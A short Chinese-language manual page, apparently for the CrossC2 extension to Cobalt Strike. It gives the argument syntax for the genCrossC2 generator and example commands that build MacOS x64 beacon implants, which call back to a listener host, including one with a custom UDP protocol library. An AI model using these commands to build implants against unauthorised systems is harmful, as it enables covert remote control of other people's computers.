直接运行底层程序

除过cna GUI生成外,也可以直接调用底层程序直接生成。

[usage]: genCrossC2 [host] [port] [beaconKey_file] [rebind_dynamic_lib] [platform] [arch] [outputFileName] <stagerType>

-host                1.1.1.1 (cs https_listener host)
-port                4444 (cs https_listener port)
-beaconKey_file            specify `.cobaltstrike.beacon_keys` file, read from current directory by default
-rebind_dynamic_lib        select a dynamic library that requires communication protocol rebinding
-platform            'MacOS' / 'Linux'
-arch                'x86' / 'x64'
-stagerType (optional)        'shellcode' / 'stager'

[ex]:
    default config:
        ./genCrossC2 127.0.0.1 4444 null null MacOS x64 ./CrossC2-test

    specify `.cobaltstrike.beacon_keys` file:
        ./genCrossC2 127.0.0.1 4444 /tmp/cs_server/.cobaltstrike.beacon_keys null MacOS x64 ./CrossC2-test

    custom communication protocol:
        ./genCrossC2 127.0.0.1 4444 /tmp/cs_server/.cobaltstrike.beacon_keys ./cc2_rebind_udp_protocol.so MacOS x64 ./CrossC2-test

results matching ""

    No results matching ""